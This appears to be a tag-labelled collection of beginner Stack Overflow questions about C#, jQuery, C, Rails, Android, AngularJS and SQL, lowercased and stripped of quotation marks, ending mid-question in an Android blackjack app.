get name parameter for two variable  in this code i return the result from some operation in <code>[]x</code> and <code>[]y</code>. i read the data of them from text file:   <pre><code>double[] x = file.readalllines(@ e:\testfile.txt ).aggregate(    (current  newline) =&gt; current +     + newline).split(   ).where(s =&gt; !string.isnullorwhitespace(s)).select(s =&gt; double.parse(s)).toarray(); double[] y = file.readalllines(@ e:\testfile2.txt ).aggregate(    (current  newline) =&gt; current +     + newline).split(   ).where(s =&gt; !string.isnullorwhitespace(s)).select(s =&gt; double.parse(s)).toarray(); simpledtw dtw = new simpledtw(x  y); dtw.computedtw(); double result = new simpledtw(x  y).computefforward(); console.writeline( the paramter is   +result); </code></pre>   i want to find the name of two parameters that i call in the function.    for example: when i replace the two parameters <code>x y</code> by <code>z y</code> the input is <code>the paramter is z y</code>    i want to return the name of parameter automatically. i want if we change paramters name print newest name automatically .,c#
floating two columns of text to the right of an image   i am a bit stuck on this one.    i am looking to float two vertical columns of text next to an image. i know how to float text to the right or left of an image  but unforunately i do not know how to float two columns     any ideas,html
how can i solve : the type or namespace name  dbmodelbuilder  could not be found  i created an mvc project for test on another pc last night it worked good on that pc but when i want to build it on my own pc it i give error :  the type or namespace name  dbmodelbuilder  could not be found(are you missing...) how can i solve it     <pre><code>using system.data.entity; using system.data.entity.modelconfiguration.conventions.edm.db;  namespace university.models {     public class schoolcontext : dbcontext     {         public dbset&lt;student&gt; students { get; set; }         public dbset&lt;enrollment&gt; enrollments { get; set; }         public dbset&lt;course&gt; courses { get; set; }          protected override void onmodelcreating(dbmodelbuilder modelbuilder)         {             modelbuilder.conventions.remove&lt;pluralizingtablenameconvention&gt;();         }     } } </code></pre>,asp.net
javascript target question  here is some code i don t understand  but i know it opens the link in the same window. i like it to open in blank new winows... what to add/modify    <pre><code>[some code before] _.addevent(b   click   function (e  i) { document.location.href = (( undefined  !== typeof i)   i: e.target).getattribute( flickrshow-u )});_.addevent(b   load   function (e  i) { [some code after] </code></pre>   i tried to add <code>e.target =  _blank ;</code> before document  but no luck! i got this error: setting a property that has only a getter.,javascript
how to get records from two tables with multiple where conditions  i have a two tables one is userregistration and second is user_verificationcode from which i have to get only those record whose email and mobile status are 1.below are my table structure    userregistration table   <pre><code>........................................ id      fullname   mobile_no       email ......................................... 5      varun         12344567   abc@gmail 6      nitin         12345678   def@gmail </code></pre>   user_verificationcode   <pre><code>............................................. id      user_id     codetype      status ............................................ 1       5            email           0   2       5            mobile          1 3       6            email           1   4       6            mobile          1 </code></pre>   i want this kind of output    <pre><code>........................................ id      fullname   mobile_no       email ......................................... 6       nitin         12345678   def@gmail </code></pre>   for this i have used below query but its not working i am not getting how to achieve this.   <pre><code>select * from userregistration  inner join user_verificationcode on userregistration.`id`=user_verificationcode.`user_id`  where user_verificationcode.`codetype`= email   and user_verificationcode.`status`= 1   and user_verificationcode.`codetype`= mobile   and user_verificationcode.`status`= 1  </code></pre>,mysql
best way to fill development db in rails  i need to fill the <strike>test</strike> development database with data  for example from <code>factorygirl</code>  but i d like to use it from rails console.<br>  how i put example data in db so i can fetch it from console and do some test there,ruby-on-rails
is it possible to resize images to specific size   i have an application which has around 800 images. is there any way to re size the images to specific size. i have tried using the following code:   <pre><code>uiimage *image = [[uiimage imagenamed:recipeobj.recipeimage]     _imagescaledtosize:cgsizemake(64.0f  61.0f)  interpolationquality:1]; cell.imageview.image = image; </code></pre>   this code snippet gives me a warning. is there any other alternative way for resizing images,iphone
plist file path error  path not returning a value  i am trying to fetch the id matching a value in a txt box but i can t compare it to the value in a key    this is the path i am tryin to give   <pre><code>nsstring *path = [[nsbundle mainbundle] pathforresource:@ .lists  oftype:@ plist ]; </code></pre>,objective-c
rails sum related records in model  this is what i am doing on my rails app and its working but i am looking for a cleaner solution:    <pre><code>class workorder &lt; activerecord::base   has_many :events  :through =&gt; :tasks   def total_hours     events.map{|e| e.hours}.reduce(:+)   end </code></pre>   it gives me the total hours all of the task events:   <pre><code>workorder.total_hours </code></pre>   but  i also have workorders that have children:   <pre><code>  has_many :children  :class_name =&gt;  workorder   :foreign_key =&gt;  parent_id  </code></pre>   i would like to know the total hours for all of the children and their tasks.    these don t work:   <pre><code>  def total_children_hours     self.children.events.map{|e| e.hours}.reduce(:+)   end    i get - undefined method `events     def total_children_hours     self.children.map{|e| e.total_hours}.reduce(:+)   end    i get - nil can t be coerced into bigdecimal </code></pre>   thanks for the help!,ruby-on-rails
not underlined link in html  how to get a link not underlined in html,html
object not found console c#  i am trying to call a method that will send emails in a console application. the application works fine as windows service but they want me to change the windows service to a console application. now the same method is giving me object reference not set. below is my code   <pre><code>class program {     const string title =  email manager timer job  ;     private static actionmanager man;      public static void  main()     {         sendemail();          using (var task = new model())         {             var cdrltask = new externaltask();              cdrltask.created = datetime.today;             cdrltask.title = title;             task.externaltasks.add(cdrltask);             task.savechanges();         }     }      public static void sendemail()     {                     man.sendemails(); // ---&gt; object not found here     } } </code></pre>,c#
how to get return from $.ajax from a webservice  i am using a webservice to return a string called by $.ajax method. how do i get the value  .    <pre><code> $.ajax({             type: get               url: ajaxservice.asmx/save               data:{}              success:function(msg){              //getdata(serviceurl  controllocation divname controlid);               } </code></pre>   how do i get the return value.,jquery
how to release a character set   i have a question about text field. i am writing to let the user only can enter number into the text field.    <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string {     static nscharacterset *charset = nil;     if(!charset) {         charset = [[[nscharacterset charactersetwithcharactersinstring:@ 0123456789 ] invertedset] retain];     }     nsrange location = [string rangeofcharacterfromset:charset];     return (location.location == nsnotfound); } </code></pre>   above is the code  it works fine now  the only thing is how can i release charset since i retain it already. if i release it here  it will crash. please text me the way. or is it still ok if i keep it retain like that,objective-c
convert dictionary<object  string> to dictionary<string  string>  i have a dictionary of <code>&lt;object  string&gt;</code> that i know for a fact can be converted to <code>&lt;string  string&gt;</code>.  rather than loop over the 1st dictionary to build up the second one  are there <code>convert</code> methods or something else that can do this in a single call,c#
replace all characters in a string  hi i ve searched but can t find the answer i m looking for or i m not reading it right.    i have a nsstring  i use    <pre><code>nsstring *string1 = [infolist objectatindex:0]; nsuinteger len = [string1 length]; </code></pre>   is it possible to replace all characters not white spaces with say a * or some other unreadable character.    example:   <code>this is a string</code>  to   <code>**** ** * ******</code>,objective-c
how to modify url in routes.rb  i want to map a url  /admin/update_admin/1  but my url maps to  /admin/1/update_admin  for the provided resources   <pre><code>resources :admin   member do     post :update_admin   end end </code></pre>   how to get the expected url  because of wrong url i am getting the error   <pre><code>the action  1  could not be found for admincontroller </code></pre>,ruby-on-rails
showing rails application structure  i am new to rails. i have created a new rails app to try different basic rails commands. like <code>rails g controller</code>  <code>rails g model</code>  <code>rails g scaffold</code>. but after a while  i kind of forgot what i have done.    is there a command to show what i have in my application  sort of  like the information right after i run <code>rails g controller c p1 p2</code>  to display all things i have,ruby-on-rails
upgrading old .net 2 solution - error loading assembly  i have a 10 year old .net site  that i now am making some tweaks to.    to make my tweaks work  i had to upgrade the site to .net 4. that works. one of the add-ons  is coming from an external assembly  that i know works.    my problem is  that i am getting an error <code>could not load file or assembly  system.web.helpers  version=2.0.0.0  culture=neutral  publickeytoken=31bf3856ad364e35  or one of its dependencies. the system cannot find the file specified.</code>    the site is not in a vs solution - i am working from a plain text edition at the moment.    what can i do to fix the issue,.net
jquery filter class frustration  i m losing my mind lol    i have this function:   <pre><code> $( .tableingredientscut ).filter( .notscalable ).removeclass( notscalable ).html(  ); </code></pre>   the console.log returns the correct set of objects but the .removeclass and .html functions don t actually do anything. if i remove the .filter it works fine (but on all objects).    what s happening   thanks.,jquery
how to store values between steps in asp.net wizard   i have a wizard with 2 steps.    in step 2  i have sub section called  skills  with one dropdownlist.    i have the datavaluefield of this dropdownlist and empid of previous step to insert into a table called  dbo.emp_skill_bridge  empid (pk) | skillid     this was my unsuccessful attempt.   <pre><code> public void insertskills()         {             string kkstech = @ data source=user-pc\sqlexpress;initial catalog=kkstech;integrated security=true ;             sqlconnection conn = new sqlconnection(kkstech);             string insertstring = @ insert into emp_skill_bridge (empid skillid)                                         values(@empid  @skillid) ;             sqlcommand cmd = new sqlcommand( insertstring   conn);             cmd.commandtext = insertstring;             cmd.commandtype = commandtype.text;              try             {                 conn.open();                 cmd.parameters.addwithvalue( @empid   textbox1.text);                 cmd.parameters.addwithvalue( @skillid   dropdownlist1.selectedvalue);             }             catch (system.data.sqlclient.sqlexception ex)             {                 string msg =  insert error: ;                 msg += ex.message;                 throw new exception(msg);             }              finally             {                 conn.close();             }          }  </code></pre>   empid is coming from previous step  from textbox.. skillid is the selectedvalue of skillname from dropdownlist. this is .aspx for skill in step 2:   <pre><code>&lt;asp:label id= label21  class= caption  runat= server  text= skills: &gt;&lt;/asp:label&gt;             &lt;asp:dropdownlist id= dropdownlist1  class= box  runat= server              autopostback= true              onselectedindexchanged= dropdownlist1_selectedindexchanged &gt;             &lt;/asp:dropdownlist&gt; </code></pre>   how do i perform this,asp.net
how to set the touch down event of uitextfield programatically in iphone  i have a uitextfield which i am adding programatically. i want to set the touch down event of that uitextfield  that is when user clicks on the textfield second time it should resign from being first responder. that means the key board should disappear.,iphone
dbdatareader or oledbdatareader which one to use in this situation   i have these requirements   need to write a method that retrieves data form <code>ms access</code> database and it should be    •   read-only     •   able to use the data before the entire data set is retrieved.    •   minimize the amount of system overhead and the amount of memory usage!     which type of object should i use   <code>oledbdatareader</code> or<code>dbdatareader</code>   thank you.,c#
strpos in c- how does it work  i am really new to c.    i want to use the strpos function but it is telling me it doesnt exist,c
strcpy() skipping array elements  i am attempting to share lines that i have read in via a text file into shared memory so my client can access those strings. my program only prints the first and last strings  seemingly ignoring the second and third lines.    for example  abcd and mnop would be printed out like this:   <pre><code>abcdmnop abcdmnop abcdmnop abcdmnop </code></pre>   if this was the .txt file:    <pre><code>abcd efgh ijkl mnop </code></pre>   i believe this loop in the main program may be the    <pre><code>for (int j = 0  k = 0; j &lt; i; j++) {     strcpy((mem + k)  words[j]);     k = strlen(words[j]); } </code></pre>   here is my main program:   <pre><code>int main() {     const key_t key = 56871;     file *ptr_fp;     char words[600][600];     char *mem;     int i = 0;       ptr_fp = fopen( file.txt    r );        int shmid = shmget(key  sizeof(float) * 8  0644 | ipc_creat);      if (shmid &lt; 0) {         perror( shmget );         exit(1);     }       if (ptr_fp != null) {         while (fgets(words[i]  600  ptr_fp )&amp;&amp; i &lt; 600) {             i++;         }     }      mem = (char *)shmat(shmid  null  0);      if (mem == (char *)-1) {         perror( shmat error\n );         exit(1);     } else {         for (int j = 0  k = 0; j &lt; i; j++) {             strcpy((mem + k)  words[j]);             k = strlen(words[j]);         }     }     return 0; } </code></pre>   and here is my client program loop:   <pre><code>for (int i = 0; i &lt; 4; i++) {     printf( %s\n   mem); } </code></pre>,c
explain the how the following output came for following code in c++ <pre><code>#include&lt;iostream.h&gt; #include&lt;conio.h&gt; void main() {  int x[5] = {1 2 3 4 5}  y[5]={5 4 3 2 1}  res[5]={0 0 0 0 0};  int i=0 j=0;  while(i++&lt;5)  {    res[i] = x[i]-y[i];   }  clrscr();  cout&lt;&lt; content\n ;  i=0;  do  {   cout&lt;&lt;x[i]&lt;&lt; \t &lt;&lt;y[i]&lt;&lt; \t &lt;&lt;res[i]&lt;&lt; \n ;   i++;  }while(i&lt;5);  getch(); } </code></pre>   output:    <a href= http://i.stack.imgur.com/iplvh.jpg  rel= nofollow >click &amp; view the ouput of the above code</a>         in the output in first line why y[0] show -1 instead of 5,c++
"jquery if condition not working properly based on conditions  why <code>button</code> is not disabled when the value for each box is same.    i have 4 textboxs  2 textboxs for compare department name and 2 textboxs for compare department active.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( #departmentidinput  #departmentnameinput  #departmentactive ).bind( keyup change   function() {
   var departmentidinput = $( #departmentidinput ).val();
   var departmentnameinput = $( #departmentnameinput ).val();
   var departmentnameinputcurrent = $( #departmentnameinputcurrent ).val();
   var departmentactive = $( #departmentactive ).val();
   var departmentactiveval = $( #departmentactiveval ).val();
   var departmentactivevalcurrent = $( #departmentactivevalcurrent ).val();
 
   if (departmentnameinput != departmentnameinputcurrent) {
     $( #btnupdate ).attr( disabled   false).removeclass( btn_inact ).addclass( btn_act );
   } else {
     $( #btnupdate ).attr( disabled   true).removeclass( btn_act ).addclass( btn_inact );
   }
 
   if (departmentactiveval == departmentactivevalcurrent) {
     $( #btnupdate ).attr( disabled   false).removeclass( btn_inact ).addclass( btn_act );
   } else {
     $( #btnupdate ).attr( disabled   true).removeclass( btn_act ).addclass( btn_inact );
   }
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;input type= text  id= departmentnameinput  name= departmentnameinput  maxlength= 30  value= production /&gt;
 &lt;input type= text  id= departmentnameinputcurrent  name= departmentnameinputcurrent  maxlength= 30  value= production /&gt;
 
 &lt;input type= text  name= departmentactiveval  class= departmentactiveval  id= departmentactiveval  value= y /&gt;
 &lt;input type= text  name= departmentactivevalcurrent  class= departmentactivevalcurrent  id= departmentactivevalcurrent  value= y /&gt;
 
 &lt;input type= checkbox  class= departmentactive  id= departmentactive  /&gt;
 
 &lt;input type= button  class= button turquoise  id= btnupdate  value= update  disabled/&gt;</code></pre>
 </div>
 </div>
    <ol> <li>if checkbox click or un-click  the button working good</li> <li>when type something to  departmentnameinput   example: productions (on departmentnameinputcurrent is: production)  the button is working good  means disabled. but when i try to delete the text back again same with  departmentnameinputcurrent   the button is not disable.</li> </ol>   anyone have an idea",jquery
windows service or any other alternative  i m in dilema whether to use windows service for my application or not  below is the description about my application please could anyone suggest what is the best approach for my requirement  if possible with pros and cons as well.    there is application  a  which is a closed application and any data i need from that application is exposed only via wcf services. my application  m  has to call one of the wcf service exposed by  a  and then get the data and process it and throw out a file. similarly if some file is injected into my application  m  then i need to process it and push that information into application  a  using its wcf service. this is the requirement in brief.    problems-    1) here my application  m  needs to continously poll application  a  wcf service to check if something is availabel for it to process. i dont like polling but any other alternatives  please suggest.     i thought of msmq  that application  a  sends message to my application  m  whenever a new data comes in. my application  m  then processes that from queue. not sure how to do it. please advise if this is right approach.    2) another thing is if a new file comes onto some server folder then my application  m  has to pick it up and process it and send it to application  a . so in order to acheive this i may have to have a file system watcher and as soon as something becomes available then it has to kick off my application. again struck at what technology( only in .net) to use. is msmq best approach      so am now struck at which tech (only in .net) i need to use to efficiently complete my requirement. is windows service best approach by constantly polling application  a  and implement msmq along with it.  please advise.    thanks in advance <br> sai,.net
different kind of angular directives patterns <pre><code>angular.directive( ppd:reset   function(e1 e2) {     return function(linkelement) {               linkelement.wrap()....         });     }; }); </code></pre>   and     <pre><code>angular.directive( ppd:reset   [function() {         return function(scope  elm  attrs) {   }   }]); </code></pre>   what is the difference between these two directives pattern,angularjs
divide a range(n n+2000) into chunks of size j.  how to divide a range(n n+2000) into chunks of size j. the output should look like [0 500] [500 1000] [1000 1500] [1500 2000]. but if range(n n+7864)   then how do we divide them into roughly equal size chunks.    attempted code:   <pre><code>for a in range(1 500):      if (last&lt;500):         last=a+500 list.append([a last]);         a=last;      elif(last&gt;500):         list.append([list[len(list)-2][1] last element])  </code></pre>,python
byte array to bundle  i have a <code>bundle</code> and i store it to the disk as a byte array. now  when i retrieve it i take the byte array. how can i convert this again to <code>bundle</code>    <pre><code>byte filecontent[] =  new byte[(int)file.length()]; int numerofreturnedbytes = 0;  try {     //read the stream and set it into the byte array readfilebytearray     //and returns the numerofreturnedbytes. if returns -1 means that     //that the end of the stream has been reached.     numerofreturnedbytes = fis.read(filecontent);     fis.close(); } catch (ioexception e) {     e.printstacktrace(); }  if (numerofreturnedbytes == -1) {     return; } else {     //creating empty parcel object     parcel parcel = parcel.obtain();     //un-marshalling the data contained into the byte array  to the parcel     parcel.unmarshall(filecontent  0  numerofreturnedbytes); } </code></pre>   the <code>filecontent</code> is the byte array. any ideas on how can i solve my problem,android
how to encrypt data in android   i am new to android. i am trying to learn and work on it. can some one help me with the following issue. i have some fields to be encrypted and uploaded to a db using android. the fields which should be encrypted are dob  email id  phone number and some other numeric values. now i am doing some formal encryption by substitution. can some one help me with an example to do some standard form of encryption.,android
removing space from a string and coverting it to camel case format in c  i have a program that i have not written. it is supposed to remove white spaces from the string  and turn it into a camel case format. for example:    input: hello world! <br> supposed to give: helloworld! <br><br> now i have a couple of questions about this program.    <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt;  char *convert(char *f) {      char *save = f;      char *output = f;       int in_a_word = 1;       while(isspace(*f)) f++;      for(; *f; f++) {              if(isspace(*f)) in_a_word = 0;             else             {                 if(in_a_word) {                 *output= tolower(*f);                  }                 else {                     *output = toupper(*f);                  }                 in_a_word = 1;                 output++;               }         *output=  \0 ;         }     return save;      }   int main(void) {  char str[] =    hello world\t ; printf( modified: --&gt;%s&lt;---\n   convert(str)); getchar(); } </code></pre>   my questions:   <pre><code>char *save = f;  char *output = f; </code></pre>   if i understand correctly  both of them are supposed to point to f. i have written an experiment program:    <pre><code>int main(void) {  char *s =      hello ; char *ment = s; printf( original:\n--&gt;%s  %p&lt;---\n--&gt;%s  %p&lt;---\n\n   s s ment ment); while(isspace(*s)) s++; printf( modified:\n--&gt;%s  %p&lt;---\n--&gt;%s  %p&lt;---   s s ment ment); getchar(); } </code></pre>   in this program i have saved the address of s in ment. when i use the first printf  it shows that they are completely equal  and they point to the same location. i make a little modification on s. this removes all the space from s  but ment stayed the same. even their location changed.    going back to the original program. in the convert function we are returning save  but it has not been modified. so my question is: can anyone explain why we are returning save  and/or which source material should i refer to. i read a couple of books on pointers  but none has mentioned this.,c
writting a directive for validating image url  this is the first directive i m writing for angularjs. i want to check if an image url inserted into a text input is valid.    this is what i have so far:   <pre><code>angular.module( directives   []) .directive( imageurlverify   function() {     return {         restrict:  a           require:  ngmodel           link: function(scope  element  attrs  ctrl) {             var image = new image();              scope.$watch(function() {                 if (ctrl.$viewvalue) {                     image.src = ctrl.$viewvalue;                      if (image.complete) {                         scope[attrs.imagevalid] = true;                     } else {                         scope[attrs.imagevalid] = false;                     }                 } else {                     scope[attrs.imagevalid] = false;                 }             });         }     } }) </code></pre>   and i use it:   <pre><code>&lt;input type= text  ng-model= imageurl  placeholder= image url...  data-image-valid= imageok  image-url-verify&gt; </code></pre>   this is actually working  but as my first directive i want to make sure that i m doing things the right way...    am i missing something      edit: following @josh-david-miller  s answer i came up with this:   <pre><code>angular.module( directives   []) .directive( imageurlverify   function() {     return {         restrict:  a           replace: true          scope: { url:  =   imagevalid:  =  }          template:  &lt;input ng-model= url  placeholder= image url... /&gt;           link: function(scope  element  attrs) {             var image = new image();              scope.$watch( url   function() {                 scope.imagevalid = false;             });              element.on(  blur   function() {                 image.src = scope.url;             });              image.onload = function() {                 scope.$apply(function() {                     scope.imagevalid = true;                 });             };              image.onerror = function() {                 scope.$apply(function() {                     scope.imagevalid = false;                 });             };         }     } }) </code></pre>   and use it like:   <pre><code>&lt;input image-url-verify url= imageurl  image-valid= imageok  /&gt; </code></pre>   does it look better   anywhere else to improve,angularjs
class methods vs builder  i have internal objects  which should nt be used by client code :   <pre><code>class internala {}; class internalb {}; </code></pre>   i have public interface objects a  b  c. internally  i need to construct objetcs internala from a and internalb from b  but a and b can only be accessed by a pointer to base class c. i could use covariant virtual method but doing so  my internals become public  and internala and internalb are not really two subtytes of the same base class. or i could do something like that :   <pre><code>class c {     // some data public:     c() {};     // some pure virtual methods and virtual methods virtual c *getconcrete(void) const =0;  };  class b : c { public:     //methods     virtual b *getconcrete(void) { return static_cast&lt;b&gt;(this); }; };  class a : c { public:     //methods     virtual a *getconcrete(void) { return static_cast&lt;a&gt;(this); }; }; </code></pre>   and then use an internal builder with polymorphic method in a or b parameter.    edit : to build internala and internalb  i can use a function/method like that :   <pre><code>void somefunction(a *a) {     internala x(&lt;using a-&gt;smthg&gt;);     // do stuffs }; void somefunction(b *b) {     internalb x(using b-&gt;smthg&gt;);    //do stuffs </code></pre>   };    what do you think about this hack,c++
unable to compare strings  i am trying to compare two strings contry and answer. mytextfield is a textfield control and -country is nsarray but it will always execute else block even when the two strings are equal   <pre><code>    nsstring *answer = _mytextfield.text;     nsstring *contry = _country[self.displayedflagindex];      if ( [contry isequaltostring: answer])     {          nsstring *test =@ if block  ;          nsstring *result = [nsstring stringwithformat:@ %@%@ is %@   test answer  @ correct!! ];         _mytextfield.text= result;     } </code></pre>,objective-c
html input pattern  i am using the input pattern on my register form which consists of a username  email and password.    i have set the username between 5 and 15 characters however when this has been typed correctly and i go to submit the form i am not able to submit  but instead still receive the required title message.  anyone any ideas    <pre><code>&lt;div class= col-sm-offset-2 col-sm-9 &gt;&lt;td&gt;&lt;input pattern= .{5  15}  required title= username should be between 5 - 15 characters type= text  class= form-control  name= uname  placeholder= user name  required/&gt;&lt;/td&gt; &lt;/div&gt; </code></pre>,html
convert localized string to float in c  i have float number in <code>char[]</code>. it s <code>de</code> or <code>pl</code> localized string  and has <code>   </code> not <code> . </code> as decimal separator. is there any standard way to convert such string to float  i m looking for something better then  replace   with . and use <code>atoi</code> .,c
error with converting list item to integer  i am trying to pass class element to method. element is formed dynamically inserting current time in it. mine class looks something like this:   <pre><code>class minecontact(dict):     def __init__(self  **kwargs):         # set your default values         import time         curr_time = repr(time.time()).replace( .     )          self[ tel ] = [{              type : [ mobile ]               value :  555%s  % curr_time[8:]}]         ... </code></pre>   so  i create object of this class and now i want to insert it as method argument:   <pre><code>contact = minecontact() extra_text =  -%d  % (self.iteration) new_contact.insert_phone(contact.tel[ value ]) </code></pre>   when i run this script  i get this type of error:   <blockquote>    typeerror: list indices must be integers  not str  </blockquote>   so  does anyone knows where am i getting it wrong,python
is there any xml-include-like thing for java class   when we make android layout in xml  we can use <code>include</code> to make some other layout the part of the host layout. is there such thing for java class     i am attaching a top bar layout to every screen and it contains buttons. now in every java class i have to copy/paste the initialization code.     is there any shortcut for such scenarios  can <code>application</code> class facilitate anyhow  if anyone has a working solution  please share it with me.      for example  in xml i can use   <pre><code>//...xml layout elements &lt;include layout= @layout/topbar  /&gt; //...some other xml layouts </code></pre>   so it would be cool to be able to use in java code something where i could instantly initiate buttons  register <code>onclick</code> events and set actions to these events. it all the same piece of code i am using  after all.,android
jquery on method issue  hi 2 all i am using jquery .on method to append rows   when i click add row button first time it append row but when second and next time it will do nothing . i need to know why my .on method is not working  here is my code   <pre><code>&lt;div class= form &gt; &lt; php $form = $this-&gt;beginwidget( cactiveform   array(      id  =&gt;  productoption-form        enableajaxvalidation  =&gt; false  ));  &gt; &lt;p class= note &gt;fields with &lt;span class= required &gt;*&lt;/span&gt; are required.&lt;/p&gt; &lt; php echo $form-&gt;errorsummary($model);  &gt;  &lt;div class= row &gt;     &lt; php echo $form-&gt;labelex($model   title );  &gt;     &lt; php echo $form-&gt;textfield($model   title   array( size  =&gt; 60   maxlength  =&gt; 255));  &gt;     &lt; php echo $form-&gt;error($model   title );  &gt; &lt;/div&gt; &lt;div class= row &gt;     &lt;strong&gt;&lt;h3&gt;add product options&lt;/h3&gt;&lt;/strong&gt; &lt;/div&gt; &lt;div class= row &gt;     &lt;div class= span-6 headrowname &gt;&lt;strong&gt;name&lt;/strong&gt;&lt;/div&gt;     &lt;div class= span-4 headrowprice &gt;&lt;strong&gt;price&lt;/strong&gt;&lt;/div&gt;     &lt;div class= span-2 &gt;&lt;/div&gt; &lt;/div&gt; &lt;div class= appendrow &gt;     &lt;div class= row  &gt;         &lt;div class= span-6 &gt;             &lt;input style= width:100%!important;  type= text  name= option_name  placeholder= name  required /&gt;         &lt;/div&gt;         &lt;div class= span-4  &gt;             &lt;input id= pricetext  type= text  name= option_price  placeholder= price  required /&gt;         &lt;/div&gt;         &lt;div class= span-2 &gt;&lt;input type= button  class= btn btn-primary addrowbtn  value= add row  name= addrow  /&gt; &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= row buttons &gt;     &lt; php echo chtml::submitbutton($model-&gt;isnewrecord    create  :  save );  &gt; &lt;/div&gt; &lt; php $this-&gt;endwidget();  &gt; </code></pre>      <pre><code>&lt;script&gt;          $( .addrowbtn ).on( click      function() {             $( .appendrow ).append( &lt;div class= row &gt;\n\             &lt;div class= span-6 &gt;\n\             &lt;input style= width:100%!important;  type= text  name= option_name  placeholder= name  required /&gt;\n\             &lt;/div&gt;&lt;div class= span-4  &gt;\n\             &lt;input id= pricetext  type= text  name= option_price  placeholder= price  required /&gt;\n\             &lt;/div&gt;&lt;div class= span-2 &gt;\n\             &lt;input type= button  class= btn btn-primary addrowbtn  value= add row  name= addrow  /&gt;\n\             &lt;/div&gt;\n\             &lt;/div&gt; );         });  &lt;/script&gt; </code></pre>,jquery
preg_match no matter what  i have been trying to match my one variable with the other. all i want that variable let s say <code>$word</code> contains no matter what in it matches with the the other variable lets say <code>$search_in</code> and echo results accordingly.    i have been using <code>if (preg_match( /$word/i   $search_in)) echo  matches ;</code> but i am getting a lot of warnings like the following as i applied regexp on the values being returned from db.   <blockquote>    warning: preg_match() [function.preg-match]: unknown modifier  (          warning: preg_match() [function.preg-match]: unknown modifier  t   </blockquote>,php
application randomly stops responding.  i am new to programming and i m making a very simple blackjack game with only basic functions. when i run the program on the emulator it runs maybe for one hand  two  sometimes 5 or more but it always stops responding at some stage when i click on one of the three butons. there is a splash screen that runs for three seconds and the there is a thread comming from that activity that starts this menu activity. could anyone maybe tell why this is happening  it usually happens when i clcik on one of the buttons even though there is no much comput   <pre><code>protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);        btdeal = (button) findviewbyid(r.id.deal);     playercards1 = (textview) findviewbyid(r.id.playercards);     playerpoints = (textview) findviewbyid(r.id.playerpoints);     dealercards1 =  (textview) findviewbyid(r.id.dealercard);      mpbusted= mediaplayer.create(this  r.raw.busted);     mpwin = mediaplayer.create(this  r.raw.win);     mpshuffling = mediaplayer.create(this  r.raw.shuffling);     mpeven = mediaplayer.create(this  r.raw.even);     mphit= mediaplayer.create(this  r.raw.hit);      btdeal.setonclicklistener(new view.onclicklistener() {          public void onclick(view v) {             // todo auto-generated method stub             deal ();          }     });  //gettotaldealercards()         //gettotalplayercards()       bthit = (button) findviewbyid(r.id.hit);     bthit.setonclicklistener(new view.onclicklistener() {          public void onclick(view v) {             // todo auto-generated method stub              boolean busted = isbusted();               if(!busted){                 hitplayer();                 playercards1.settext(getplayercardstostring());                 if (isbusted()){                     mpbusted.start();                  }else{                     playercards1.settext(getplayercardstostring());                     playerpoints.settext(integer.tostring(gettotalplayerpoints()));                 }             }          }     });      btstand = (button) findviewbyid(r.id.stand);      btstand.setonclicklistener(new view.onclicklistener() {          public void onclick(view v) {             // todo auto-generated method stub             checkwinner();          }// testvalue(gettotalplayercards())     }); }      /***********    function declarations starts here    **********/      //sum and return the total points for the dealer cards public int gettotaldealerpoints(){     int points = 0;     int aceflag = 0; //flag to deal with aces     int counter;      for (counter = 0; counter &lt;= gettotaldealercards(); counter++){         if (dealercards [counter].getcard() + 1 == 1){                points += 11;                aceflag++;                        }         else if (dealercards [counter].getcard() + 1 &gt; 10)             points += 10;          else             points += dealercards [counter].getcard() + 1;     }      do {         if (points &gt; 21 &amp;&amp; aceflag &gt; 0){             points -= 10;             aceflag--;         }     } while (aceflag&gt;0);      return points; }   //get the total player points deal public int gettotalplayerpoints(){     int points = 0;     int aceflag = 0; //flag to deal with aces     int counter;      for (counter = 0; counter &lt;= gettotalplayercards(); counter++){         if (playercards [counter].getcard() + 1 == 1){                points += 11;                aceflag++;                        }         else if (playercards [counter].getcard() + 1 &gt; 10)             points += 10;          else             points += playercards [counter].getcard() + 1;     }      do {         if (points &gt; 21 &amp;&amp; aceflag &gt; 0){                     points -= 10;             aceflag--;         }     } while (aceflag&gt;0);      return points; }   //deal function to start hand public void deal (){      // if deal is pressed reset all and start over.     mpshuffling.start();     totaldealerpoints = 0;     totalplayerpoints = 0;     totalcreatedcards = 0;      for (int i = 0; i &lt; total_cards; i++){         dealercards [i] = null;         playercards [i] = null;         createdcards [i] = null;      } // create dealer &amp; player cards and save them to dealer  player and total arrays.             for (int dealcounter = 0; dealcounter &lt;=1 ; dealcounter++){          dealercards[dealcounter]= createcard();         addcardtocreatedcards(dealercards[dealcounter]);                 playercards[dealcounter] = createcard();         addcardtocreatedcards(playercards[dealcounter]);     }      string thecards = getplayercardstostring();     string dealercard = dealercards[0].tostring();     string playerpoints= integer.tostring(gettotalplayerpoints());     playercards1.settext(thecards);     dealercards1.settext(dealercard);     playerpoints.settext(playerpoints);//gettotalplayerpoints()       while (gettotaldealerpoints() &lt; 16){         hitdealer();         }  } </code></pre>   // create card and validate against existing before returning object.      public card createcard(){   <pre><code>    int counter2 = 0;     int flag = 0;     int value;     int suit;      do {         flag = 0;         suit = randomer.nextint(4);         value = randomer.nextint(13);         // validate against permitted values before creating cards         while (counter2 &lt;= gettotalplayercards()) {            if (createdcards[counter2].getsuit() == suit &amp;&amp; createdcards[counter2].getcard() == value || suit &gt; 3 || suit &lt; 0 || value &gt; 12 || value &lt; 0){               flag = -1;            }            counter2++;         }       } while (flag != 0);      card thecard = new card (suit  value);      return thecard;      }     // add card to the records of created cards public void addcardtocreatedcards(card acard){           createdcards [totalcreatedcards] = acard;     totalcreatedcards++; }     // add a card to dealers cards public void hitplayer(){      //if the hand was started add card  else deal to start hand.      if (gettotalplayercards()+1 != 0){          mphit.start();         playercards [gettotalplayercards()+1] = createcard();         addcardtocreatedcards(playercards [gettotalplayercards()]);     }     else         